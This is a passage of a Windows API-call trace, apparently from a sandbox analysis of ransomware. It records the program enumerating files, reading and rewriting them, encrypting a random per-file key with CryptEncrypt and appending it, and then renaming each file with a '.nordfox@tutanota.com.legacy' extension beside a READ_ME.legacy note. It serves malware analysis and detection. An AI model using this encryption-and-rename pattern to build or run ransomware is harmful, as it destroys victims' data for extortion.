HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0103.324] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0d68 [0103.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0103.324] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0103.324] GetLastError () returned 0x0 [0103.325] SetLastError (dwErrCode=0x0) [0103.325] GetLastError () returned 0x0 [0103.325] SetLastError (dwErrCode=0x0) [0103.325] GetLastError () returned 0x0 [0103.325] SetLastError (dwErrCode=0x0) [0103.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567230 [0103.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d450 [0103.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0103.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0103.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e68 [0103.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e68 | out: hHeap=0x520000) returned 1 [0103.325] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0103.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0103.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0103.325] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567230 | out: hHeap=0x520000) returned 1 [0103.325] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0103.326] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0103.326] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0103.326] GetLastError () returned 0x0 [0103.327] SetLastError (dwErrCode=0x0) [0103.327] GetLastError () returned 0x0 [0103.327] SetLastError (dwErrCode=0x0) [0103.327] GetLastError () returned 0x0 [0103.327] SetLastError (dwErrCode=0x0) [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0da8 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0da8 | out: hHeap=0x520000) returned 1 [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671c0 | out: hHeap=0x520000) returned 1 [0103.327] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0103.327] GetLastError () returned 0x0 [0103.327] SetLastError (dwErrCode=0x0) [0103.327] GetLastError () returned 0x0 [0103.327] SetLastError (dwErrCode=0x0) [0103.327] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0103.327] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0103.327] GetLastError () returned 0x0 [0103.327] SetLastError (dwErrCode=0x0) [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0103.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0103.328] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0103.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0103.328] GetLastError () returned 0x0 [0103.328] SetLastError (dwErrCode=0x0) [0103.328] GetLastError () returned 0x0 [0103.328] SetLastError (dwErrCode=0x0) [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0103.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0103.328] GetLastError () returned 0x0 [0103.328] SetLastError (dwErrCode=0x0) [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0103.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0103.328] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d3120d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d3120d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0103.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0103.328] GetLastError () returned 0x0 [0103.328] SetLastError (dwErrCode=0x0) [0103.328] GetLastError () returned 0x0 [0103.328] SetLastError (dwErrCode=0x0) [0103.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0103.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0103.328] GetLastError () returned 0x0 [0103.328] SetLastError (dwErrCode=0x0) [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0103.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0103.329] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0103.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0103.329] GetLastError () returned 0x0 [0103.329] SetLastError (dwErrCode=0x0) [0103.329] GetLastError () returned 0x0 [0103.329] SetLastError (dwErrCode=0x0) [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0103.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0103.329] GetLastError () returned 0x0 [0103.329] SetLastError (dwErrCode=0x0) [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5670a8 [0103.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5670a8 | out: hHeap=0x520000) returned 1 [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0103.329] FindNextFileW (in: hFindFile=0x5a0d68, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556848 [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0103.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0103.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0103.329] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0103.329] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0103.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0103.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0103.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0103.330] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0103.330] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0103.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5c0f88 [0103.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5c56e8 [0103.330] ReadFile (in: hFile=0x4c8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0103.429] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.429] WriteFile (in: hFile=0x4c8, lpBuffer=0x5c56e8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c56e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0103.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0103.430] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c56e8 | out: hHeap=0x520000) returned 1 [0103.430] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0103.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0103.430] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0103.430] WriteFile (in: hFile=0x4c8, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0103.430] WriteFile (in: hFile=0x4c8, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0103.430] CloseHandle (hObject=0x4c8) returned 1 [0103.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0103.431] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0103.432] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1046\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0103.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0103.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0103.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0103.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0103.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0103.433] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0103.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0103.433] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0103.434] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0103.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0103.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0103.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0103.434] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0103.434] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=80738) returned 1 [0103.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13b62) returned 0x5c0f88 [0103.434] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13b62) returned 0x2f20048 [0103.436] ReadFile (in: hFile=0x4c8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x13b62, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x13b62, lpOverlapped=0x0) returned 1 [0103.675] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=-80738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.675] WriteFile (in: hFile=0x4c8, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x13b62, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13b62, lpOverlapped=0x0) returned 1 [0103.676] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0103.678] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0103.681] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13b62 [0103.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0103.681] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0103.682] WriteFile (in: hFile=0x4c8, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0103.682] WriteFile (in: hFile=0x4c8, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0103.682] CloseHandle (hObject=0x4c8) returned 1 [0103.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0103.682] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0103.682] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1046\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0103.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0103.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0103.684] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0103.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0103.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0103.684] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0103.684] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0103.684] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0103.684] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1046\\eula.rtf", dwFileAttributes=0x80) returned 1 [0103.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0103.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0103.685] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0103.685] CreateFileW (lpFileName="\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c8 [0103.685] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3683) returned 1 [0103.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe63) returned 0x5c0f88 [0103.685] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe63) returned 0x5c1df8 [0103.685] ReadFile (in: hFile=0x4c8, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xe63, lpOverlapped=0x0) returned 1 [0104.075] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=-3683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0104.075] WriteFile (in: hFile=0x4c8, lpBuffer=0x5c1df8*, nNumberOfBytesToWrite=0xe63, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1df8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe63, lpOverlapped=0x0) returned 1 [0104.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0104.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1df8 | out: hHeap=0x520000) returned 1 [0104.076] SetFilePointer (in: hFile=0x4c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe63 [0104.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0104.076] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0104.076] WriteFile (in: hFile=0x4c8, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0104.076] WriteFile (in: hFile=0x4c8, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0104.076] CloseHandle (hObject=0x4c8) returned 1 [0104.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0104.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0104.077] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1046\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0104.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0104.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0104.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0104.078] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0104.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0104.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0104.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0104.078] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d3120d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a08e8 [0104.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0104.079] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0104.079] GetLastError () returned 0x0 [0104.079] SetLastError (dwErrCode=0x0) [0104.079] GetLastError () returned 0x0 [0104.079] SetLastError 